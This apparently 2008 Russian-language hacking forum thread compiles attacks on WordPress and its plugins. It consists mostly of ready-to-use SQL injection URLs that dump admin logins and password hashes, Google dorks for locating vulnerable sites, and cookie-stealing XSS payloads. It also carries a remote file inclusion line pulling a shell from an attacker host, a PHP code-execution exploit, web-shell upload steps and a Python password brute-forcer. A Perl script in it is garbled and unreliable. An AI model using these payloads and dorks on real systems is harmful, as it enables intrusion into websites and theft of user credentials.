# >>> exploit: 1+union+select+null,concat(user_login,0x2f,user_pa ss,0x2f,user_email),null,null,null,null,null+from+ wp_users where id=1/*

(wp_tbv_users)

# >>> google: Fredrik Fahlstad. Version: 1.7.4.

# >>> author websec Team ./members =====> Virus_C, Refresh , Virusa

# >>> page : hacking.ge

################################################## #############

this is example

http://www.xxx.com/?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,us er_pass,0x2f,user_email),null,null,null,null,null+ from+wp_tbv_users/*

# milw0rm.com [2008-01-19]

_-Ramos-_
22.01.2008, 14:03
XSS in plugin wp-slimstat 0.92 para Wordpress

PoC directamente:
http://wordpress-web-blog.com/wp-admin/index.php?page=wp-sl
imstat/wp-slimstat.php?panel=1&fi=/feed/&ff=1&ft=[xss]

PoC En Perl:
# Wordpress 2.3 0day exploit – http://xssworm.com
#
# A bug exist in wordpress 2.3 that allow hacker to
# steal blog cookie from wordpress blogmin.
#
# To exploit scripting bug the attacker make link
# to URL of slimstat with XSS shellcode and force
# blog admin to hit link by embedding into fish
# email or making blogmin follow interesting links.
# Also hacker can embed into refer or trackback
# to inject scripting into wordpress dashboard or
# make blogmin visit malicious resource when viewing
# he’s blog.
#
#
# Status: not patched published 0day vulnerability
# Vendor: wordpress.org
# Credit: http://xssworm.com
# Discovery: 1st November 2007
# Exploit developer: Fracesco Vaj (vaj@xssworm.com)
#
# Instruction:
# To execute exploit for wordpress you will need perl or linux
#
# Usage:
#
# Execute with perl or linux as:
# perl wordpress-2.3-0day-xss-injection-bug.pl
#
# Hacker will get prompts for target information.
# Please do not use for irresponsible hacking or to make money.
# Disclaimer: XSSWORM.COM is not responsible.
#
#

#use Net::DNS:Simple;
#use Math;
use Socket;

print "Welcome. What is target email address of wordpress blog admin : \n";
my $target = <stdin>;
print "ok target is $target\n";
sleep(3);
print "ok What is address of wordpress blog : \n";
sleep(5); my $address = <stdin>;
print "ok target is $target\n";
sleep(6);
# print "testing"
print "ok using /wp-admin/?page=wp-slimstat/wp-slimstat.php?panel=1&amp;ft=SHELLCODE\n";
print "\n\n — CUT OUTPUT HERE — \n\n";
print "HELO xssworm.com\n";
print "RSET\n";
PRINT "MAIL FROM: <xssworm@hotmail.com>\n";
print "RCPT TO: &lt;$target&gt;\n";
print "DATA\n”; print “Free x pciture and movies at $address\n";
print "\r\n.\r\nquit\r\n";
print "\n\n — END OF OUTPUT CUT HERE –\n";
print "";
print "Ok now you neeed to cut the exploit above and paste it to:\n";
print "$address : 25 \n";
print "Shellcode by vaj@xssworm.com c. 2007\n";
print "End of attack.\n";
print "";
#print "Debug mode on"
#print "XSS initialized"
#payload
sleep(1); return(0);
# snips</xssworm@hotmail.com></stdin></stdin>

ettee
23.01.2008, 17:45
Full path disclosure:
/wp-admin/theme-editor.php?page=
/wp-admin/plugins.php?page=
/wp-admin/plugin-editor.php?page=
/wp-admin/profile.php?page=
/wp-admin/users.php?page=
/wp-admin/options-general.php?page=
/wp-admin/cat-js.php?page=
/wp-admin/inline-uploading.php?page=
/wp-admin/options.php?page=
/wp-admin/profile-update.php?page=
/wp-admin/sidebar.php?page=
/wp-admin/user-edit.php?page=
/wp-admin/admin.php?page=
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-link-form.php
/wp-admin/index.php?page=
/wp-admin/link-manager.php?page=
/wp-admin/link-add.php?page=
/wp-admin/link-categories.php?page=
/wp-admin/link-import.php?page=
/wp-admin/edit-page-form.php
/wp-admin/menu.php
/wp-admin/menu-header.php
/wp-admin/import/blogger.php
/wp-admin/import/dotclear.php
/wp-admin/import/greymatter.php
/wp-admin/import/livejournal.php
/wp-admin/options-writing.php?page=
/wp-admin/options-reading.php?page=
/wp-admin/options-discussion.php?page=
/wp-admin/options-permalink.php?page=
/wp-admin/options-misc.php?page=
/wp-admin/import.php?page=
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/textpattern.php
/wp-admin/bookmarklet.php?page=

Elekt
24.01.2008, 06:35
=====================

Изменения в версиях для общего ознакомления:

_http://trac.wordpress.org/changeset?old_path=tags%2F2.3.1&old=6528&new_path=tags%2F2.3.2&new=6528

_http://trac.wordpress.org/query?component=Security&milestone=2.3.2&order=priority

=====================

Описание: Перебор логина/пароля в обход логирования.

Возможность определение логина, перебора пароля через куки(wp-login.php), базик-авторизацию(wp-app.php).

function wp_login()

__('<strong>ERROR</strong>: Invalid username.');
__('<strong>ERROR</strong>: Incorrect password.');

========================

Описание: Раскрытие COOKIEHASH.

Иногда бывают траблы с формированием куков для эксплоита.
Обычно это происходит, если блог работает на несколько доменов/субдоменов сразу.
"siteurl" добытый из базы не подходит.
В хидере нас вернется пустой кукис с префиксом.

/wp-login.php?action=logout

/wp-pass.php

=====================

Описание: Права админа: Запись в wp-config.php

Отстутствие проверки имени файла при записи.

Читать в wp-config.php нельзя. Но при записи забыли поставить проверку.

Можно указать свой удаленный сервер и поадминить блог через свою бд.


Читать нельзя:
/wp-admin/templates.php?file=wp-config.php

Но можно писать:
/wp-admin/templates.php
POST: newcontent=<?php;phpinfo();?>&action=update&file=wp-config.php

=====================

Описание: Passive XSS $_POST['pages-sortby']

Права: админ

Примеры уязвимого кода:

/wp-admin/widgets.php

function wp_widget_pages_control() {

$sortby = stripslashes( $_POST['pages-sortby'] );

<option value="post_title"<?php selected( $options['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
<option value="menu_order"<?php selected( $options['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
<option value="ID"<?php selected( $options['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>

=====================

Описание: Хранение пароля и логина админа к мылу в открытом виде в бд, отображение в админке.

/wp-admin/options-writing.php

wp_options
-mailserver_login
-mailserver_pass

=====================

Описание: При импорте блога, если присутствуют посты без автора(анонимы), создается юзверь с дефолтными настройками.

Тоесть возможно существование учеток с дефолтным паролем "password".

Примеры уязвимого кода:

/wp-admin/import/greymatter.php

$user_id = username_exists($post_author);
if (!$user_id) { // if deleted from GM, we register the author as a level 0 user
$user_ip="127.0.0.1";
$user_domain="localhost";
$user_browser="server";
$user_joindate="1979-06-06 00:41:00";
$user_login=$wpdb->escape($post_author);
$pass1=$wpdb->escape("password");
$user_nickname=$wpdb->escape($post_author);
$user_email=$wpdb->escape("user@deleted.com");
$user_url=$wpdb->escape("");
$user_joindate=$wpdb->escape($user_joindate);

$user_info = array("user_login"=>$user_login, "user_pass"=>$pass1, "user_nickname"=>$user_nickname, "user_email"=>$user_email, "user_url"=>$user_url, "user_ip"=>$user_ip, "user_domain"=>$user_domain, "user_browser"=>$user_browser, "dateYMDhour"=>$user_joindate, "user_level"=>0, "user_idmode"=>"nickname");
$user_id = wp_insert_user($user_info);
$this->gmnames[$postinfo[1]] = $user_id;



=====================

halkfild
28.01.2008, 14:52
# Author : Houssamix From H-T Team
# Script : Wordpress Plugin fGallery 2.4.1
# Download : http://www.fahlstad.se/wp-plugins/fgallery/
# BUG : Remote SQL Injection Vulnerability
# Dork : inurl:/wp-content/plugins/fgallery/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~

$cat = $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]");
$images = $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~

# Exploit :
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

Example
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:marku s@swimatyourownrisk.com' /><br>5 markus@swimatyourownrisk.com Thu, 01 Jan 1970 00:00:00 +0100


# Script : Wordpress Plugin WP-Cal
# Download : http://www.fahlstad.se/wp-plugins/wp-cal/
# BUG : Remote SQL Injection Vulnerability
# Dorks : inurl:/wp-content/plugins/wp-cal/
inurl:/WP-Cal/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/wp-cal/functions/editevent.php ~~~~~~~~~~~~~
$id = $_GET['id'];
$event = $wpdb->get_row("SELECT * FROM $table WHERE id = $id");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~

# Exploit :
/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

example :
http://site.il/wordpress/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

Solide Snake
31.01.2008, 11:49
Wordpress Plugin wp-adserve (adclick.php) SQL Injection

SQL Injection:

http://www.site.com/wp-content/plugins/wp-adserve/adclick.php?id=-1%20union%20select%20concat(0x7c,user_login,0x7c,u ser_pass,0x7c)%20from%20wp_users

Для поиска вводим:

allinurl: "wp-adserve"


Wordpress Plugin WassUp 1.4.1 Remote SQL Injection

SQL Injection:

http://www.site.com/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%200,1,2,conca t(0x7c,user_login,0x7c,user_pass,0x7c),3,4,0x7c,6, 0x7c,8,9,10%20%20from%20wp_users

Для поиска вводим:

allinurl: "plugins/wassup"

(c) (http://www.hackturkiye.com/)

iddqd
02.02.2008, 23:35
Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities

PoC:

http://milw0rm.com/exploits/5035

Wordpress Plugin Wordspew Remote SQL Injection Vulnerability

PoC:

http://milw0rm.com/exploits/5039

iddqd
04.02.2008, 00:11
Wordpress Pluging wp-footnotes 2.2

Multiple XSS


http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot
notes_current_settings[priority]="><script>alert("XSS"
)</script>

http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot
notes_current_settings[style_rules]=</textarea><script>alert("
XSS")</script>

http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current
_settings[pre_footnotes]=</textarea><script>alert("XSS"
)</script>

http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current
_settings[post_footnotes]=</textarea><script>alert(":-
(")

Solide Snake
04.02.2008, 16:04
Wordpress Plugin st_newsletter Remote SQL Injection

SQL Injection

wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users

Для поиска:

allinurl :"wp-content/plugins/st_newsletter"
allinurl :"shiftthis-preview.php"

(c) (http://www.hackturkiye.com/)

iddqd
05.02.2008, 19:32
Wordpress MU < 1.3.2 active_plugins option Code Execution

Exploit:


<?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
function _prepare_post_body($formvars, $formfiles) {
if ( is_string($formvars) ) {
return $formvars;
}
return parent::_prepare_post_body($formvars, $formfiles);
}
}

set_time_limit( 0 );

// Any user with 'manage_options' and 'upload_files' capabilities
$user = 'user';
$pass = '1234';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = ''; // relative path to wp-content
$local_file = ''; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
// Upload a new file
$snoopy->_submit_type = 'image/gif';
$snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());

if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
$remote_file = basename($match[1]);
}
}
if ( empty($remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {
$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if ( empty($remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content
$remote_file = '../' . ltrim($remote_file, '/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {
foreach ($matches[0] as $plugin) {
if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
$active_plugins[] = urldecode($match[1]);
}
print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {

// Finally update active_plugins
$snoopy->set_submit_normal();
$snoopy->submit("{$blog_url}wp-admin/options.php",
array(
'active_plugins' => $active_plugins,
'_wpnonce' => $match[1],
'action' => 'update',
'page_options' => 'active_plugins',
));
}

function get_contents() {
global $local_file;

return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
}
?>

# milw0rm.com [2008-02-05]

FraiDex
15.02.2008, 22:14
Wordpress Plugin Simple Forum 1.10-1.11 SQL Injection Vulnerability

example
http://xxxxx/forums?forum=xxxx&topic= (expliot)

EXPLOİT 1 :

-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


EXPLOİT 2 :

SİMETİMES YOU CANT SEE (xxxx&topic) SOO USE THİS EXPLOİT AFTER forum=xxx(number)


example

www.xxxxx/forums?forum=1(expliot)
&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

Wordpress Plugin Simple Forum 2.0-2.1 SQL Injection Vulnerability

example :

http://www.xxx.com/sf-forum?forum=[exploit]

EXPLOIT 1 :

-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

exploit 2 :

-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0, 0,0,0/**/FROM/**/wp_users/*

(с)milw0rm.com

gibson
17.02.2008, 03:26
Wordpress Photo album Remote SQL Injection Vulnerability

EXAMPLE

http://xxxxxxxx/?page_id=13&album= [exploit]

Сплоит

user_name&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201


зы allinurl: page_id album "photo"
Auth S@BUN http://milw0rm.com/exploits/5135

iddqd
27.02.2008, 17:32
RFI

Register Globals: ON

PoC:


http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.
php?libpath=http://attacker.tld/shell.txt?


XSS

Register Globals: ON

PoC:


http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php
?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?
text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?t
ext=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?ur
l=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/scrip
t%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=
%3Cli%3E


Register Globals: Off


http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page
=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script
%3E


Remote Code Execution

Register Globals: ON

PoC:


http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=
%3C?php%20system(%22ls%22);

.Slip
04.03.2008, 18:59
WordPress Download Counter SQL-INJ:

DownloadCounter.php
/*
Plugin Name: Download Counter Modded Rus
Plugin URI: http://www.cybercore.ru/
Description: Подсчитывает количество скачек файла. Автоматически генерит ссылку и код для использования на сайте. Локализованная и улучшеная версия. Оригинальная версия плагина доступна <a href="http://n0id.hexium.net/plugins">Download Counter</a>, автор Vanguard
Author: Tapac
Version: 1.5.rus
Author URI: http://www.cybercore.ru
*/

Bug Code: (download.php)
if(isset($_GET['id'])){
$query=mysql_query("SELECT * FROM $downloadCounter_table WHERE id = '".addslashes($_GET[id])."'");

if (mysql_num_rows($query)) {
$row=mysql_fetch_array($query);
mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".addslashes($_GET[id])."'");
}
}elseif ($_GET['name']){
$query=mysql_query("SELECT * FROM $downloadCounter_table WHERE label = '".$_GET['name']."'");
if (mysql_num_rows($query)) {
$row=mysql_fetch_array($query);
mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".$row['id']."'");
}
}

(c) .Slip

iddqd
10.03.2008, 17:06
XSS

Vulnerable: 2.3.2

PoC:

http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=[XSS C0d3]

http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%
3Cscript%3Ealert (document.cookie);%3C/script%3E

Nek1t
15.03.2008, 01:36
Раскрытие пути (работает <=2.3.3)
http://site.com/path_to_wp/wp-content/plugins/hello.php
Обычно этот файл никто не удаляет. Ну и получаем:
Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44

Elekt
18.03.2008, 17:39
Статья по обходу капчи в вордпрессе через xmlrpc и pingback

_http://seorepa.com/show.php?id=991

ZAMUT
19.03.2008, 00:57
Заливка шелла (если вам повезло и вы админ)
тестировалось на версии 2.3.3

Все очень просто ..
идем в панель администратора, Write => Write Post или Write Page => и делаем upload вашего шелла
и вот он /wp-content/uploads/[Год]/[месяц]/shell.php
пример:
http://localhost/wordpress/wp-content/uploads/2008/03/x.php

з.ы.
Просмотрел всю тему, про заливку ничего не было сказано.

ZAMUT(с)

Muhacir
30.03.2008, 02:55
Как залить шелл?
1. идем в Внешний вид -> Редактор тем ->
2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл
3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding
4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php

ibuzar
30.03.2008, 11:44
Как залить шелл?
1. идем в Внешний вид -> Редактор тем ->
2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл
3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding
4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php

Дело в том, что далеко не везде файлы можно изменять. Если в админке в нижнем правом углу появилась кнопка "Update File", то файл изменить можно, если нет, то присутствует фраза, говорящая о невозможности изменения файлов

Solide Snake
01.04.2008, 00:14
Wordpress Plugin Download file Remote SQL Injection Vulnerability

Example:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
SQL:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*

Для поиска:

inurl:"wp-download.php?dl_id="

(c) (http://milw0rm.com/exploits/5326)

Grema
07.04.2008, 13:06
Дело в том, что далеко не везде файлы можно изменять. Если в админке в нижнем правом углу появилась кнопка "Update File", то файл изменить можно, если нет, то присутствует фраза, говорящая о невозможности изменения файлов

у меня было что не один php файл не редактировался. повезло что .htaccess открыт для редактирования был. прописал туда AddType application/x-httpd-php .jpg вроде так. и потом в создании нового топика есть заливка картинки, залил шелл и радовался жизни.

Qwazar
10.04.2008, 18:57
Начинаю мучить WordPress 2.5

Раскрытие пути:


/wp-admin/import/blogger.php
/wp-admin/import/blogware.php
/wp-admin/import/btt.php
/wp-admin/import/dotclear.php
/wp-admin/import/greymatter.php
/wp-admin/import/jkw.php
/wp-admin/import/livejournal.php
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/stp.php
/wp-admin/import/textpattern.php
/wp-admin/import/utw.php
/wp-admin/import/wordpress.php
/wp-admin/import/wp-cat2tag.php
/wp-admin/includes/admin.php
/wp-admin/includes/class-ftp-pure.php
/wp-admin/includes/class-ftp-sockets.php
/wp-admin/includes/comment.php
/wp-admin/includes/file.php
/wp-admin/includes/media.php
/wp-admin/includes/misc.php
/wp-admin/includes/schema.php
/wp-admin/includes/update.php
/wp-admin/includes/upgrade.php
/wp-admin/includes/widgets.php
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-category-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-form.php
/wp-admin/edit-link-category-form.php
/wp-admin/edit-link-form.php
/wp-admin/edit-page-form.php
/wp-admin/edit-tag-form.php
/wp-admin/menu-header.php
/wp-admin/menu.php
/wp-admin/options-head.php
/wp-admin/upgrade-functions.php
/wp-content/plugins/akismet/akismet.php
/wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php
/wp-content/plugins/hello.php
/wp-content/plugins/rus-to-lat.php
/wp-content/plugins/russian-date.php
/wp-content/themes/classic/comments-popup.php
/wp-content/themes/classic/comments.php
/wp-content/themes/classic/footer.php
/wp-content/themes/classic/header.php
/wp-content/themes/classic/index.php
/wp-content/themes/classic/sidebar.php
/wp-content/themes/default/404.php
/wp-content/themes/default/archive.php
/wp-content/themes/default/archives.php
/wp-content/themes/default/attachment.php
/wp-content/themes/default/comments-popup.php
/wp-content/themes/default/footer.php
/wp-content/themes/default/functions.php
/wp-content/themes/default/header.php
/wp-content/themes/default/image.php
/wp-content/themes/default/index.php
/wp-content/themes/default/links.php
/wp-content/themes/default/page.php
/wp-content/themes/default/search.php
/wp-content/themes/default/searchform.php
/wp-content/themes/default/sidebar.php
/wp-content/themes/default/single.php
/wp-includes/js/tinymce/langs/wp-langs.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
/wp-includes/bookmark.php
/wp-includes/canonical.php
/wp-includes/default-filters.php
/wp-includes/feed-atom-comments.php
/wp-includes/feed-atom.php
/wp-includes/feed-rdf.php
/wp-includes/feed-rss.php
/wp-includes/feed-rss2-comments.php
/wp-includes/feed-rss2.php
/wp-includes/general-template.php
/wp-includes/kses.php
/wp-includes/media.php
/wp-includes/registration-functions.php
/wp-includes/rss-functions.php
/wp-includes/rss.php
/wp-includes/script-loader.php
/wp-includes/shortcodes.php
/wp-includes/template-loader.php
/wp-includes/update.php
/wp-includes/vars.php
/wp-includes/widgets.php
/wp-settings.php

Qwazar
11.04.2008, 01:18
Нашёл SQL-injection и пассивную XSS в модуле Wordpress Automatic upgrade (версия, кажется 1.1)

Для выполнения требуются права администратора. SQL осложняется тем, что уязвимый запрос выглядит так "DESCRIBE table", так-же фильтруются апострофы и кавычки.

Пример:


<form method="POST" action="http://site/wp-admin/edit.php?page=wordpress-automatic-upgrade%2Fwordpress-automatic-upgrade.php&task=backupdb">
core_tables: <input type="text" name="core_tables[1]" value="<script>alert(/XSS_AND_SQL1/)</script>"><br/>
other_tables: <input type="text" name="other_tables[1]" value="<script>alert(/XSS_AND_SQL2/)</script>"><br/>
<input type="submit">
</form>


З.Ы.
В уязвимый скрипт передаются массивы core_tables и other_tables, соответственно XSS и SQL вызовется для каждого элемента массива.

З.Ы.
Иногда не отображается XSS и ошибка (видимо зависит от настроек), но в любом случае работает, по крайней мере, как Blind SQL Injection.

Elekt
16.04.2008, 14:25
WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt

Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html

==============================

Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.

Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj).
Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора.
Прилагается специальный консольный брутер под никсы.

==============================

Важное дополнение

Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей!
Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.

пхп скрипт генерирующий куку прилагается

Qwazar
16.04.2008, 20:43
Не уязвимость, но по теме ничего не нашёл. В общем, опеределение версии движка:

Заходим на http://site/wp-login.php, смотрим в исходник странички, видим там:

<link rel='stylesheet' href='http://site/wp-admin/wp-admin.css?version=2.5' type='text/css' />

После ?version=.. - версия движка.

З.Ы.
Наверняка есть и нормальные методы, просто нашёл навскидку.

~!DoK_tOR!~
23.04.2008, 07:22
Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability

SQL-Injection

http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,conca t(user_login,0x3a,user_pass,0x3a,user_email),3,4+f rom+wp_users--&display=plain

Dork:

inurl:/wp-content/plugins/wpSS/

Author : 1ten0.0net1 :)

gibson
27.04.2008, 08:31
только для версии <=2.3.x
Если вы случайно забыли пароль от админки), то можно сменить его через phpmyadmin. Подробнее.
http://cubegames.net/blog/2008/04/26/reset-wp-password-via-phpmyadmin/

запрос

UPDATE `wordpress`.`wp_users` SET `user_pass` = MD5('antichat') WHERE `wp_users`.`user_login` =`admin` LIMIT 1;


Этот метод может быть полезен если не сработало сбрасывание пасс на мыло.

http://trac.wordpress.org/ticket/6842

идет обрезание ключа почтавиками в частности gmail

версия 2.5.1 последняя на сегодняшний день.

Elekt
02.05.2008, 00:39
...теме ничего не нашёл... опеределение версии движка.. наверняка есть и нормальные методы...

Универсальный способ в 2.x версиях
http://localhost/wordpress/?feed=rss2&p=0

иногда надо поиграться с p= для выдачи.

exclus!ve
04.05.2008, 00:00
Активная XSS в Blix Theme, которую сейчас часто ставят на WP.
http://site/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.

baltazar
13.05.2008, 23:08
Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц
Например:
http:// [host]/index.php?paged=-12
^^

Fugitif
20.05.2008, 20:35
Wordpress <= 2.5.1 Malicious File Execution Vulnerability

Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов.
Вобщем-то об этом все и так знали =)


================================================== ========

Wordpress Malicious File Execution Vulnerability

================================================== ========

AUTHOR : CWH Underground
DATE : 18 May 2008
SITE : www.citecclub.org


################################################## ###
APPLICATION : Wordpress Blog
VERSION : <= 2.5.1
VENDOR : http://wordpress.org/
DOWNLOAD : http://wordpress.org/download
################################################## ###


DORK: N/A

---DESCRIPTION---
You must login into wordpress with Administrator Roles

1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems
and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php

2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another"
Dont Worry, Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section.
Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....

Let's Fun...


---NOTE/TIP---

In Plugins Edit section, Use comment /* ... */ to keep plugins code before add shells.

################################################## ################
Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C
################################################## ################

baltazar
22.05.2008, 01:26
Wordpress Bruterorce
############# Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [ i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
node( table, string, size-1 )

def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )

if (len(sys.argv) < 3):
print "Usage : float.py <server> <user> <choice> <dico-characters>"
print "\nDefault: User is 'admin'"
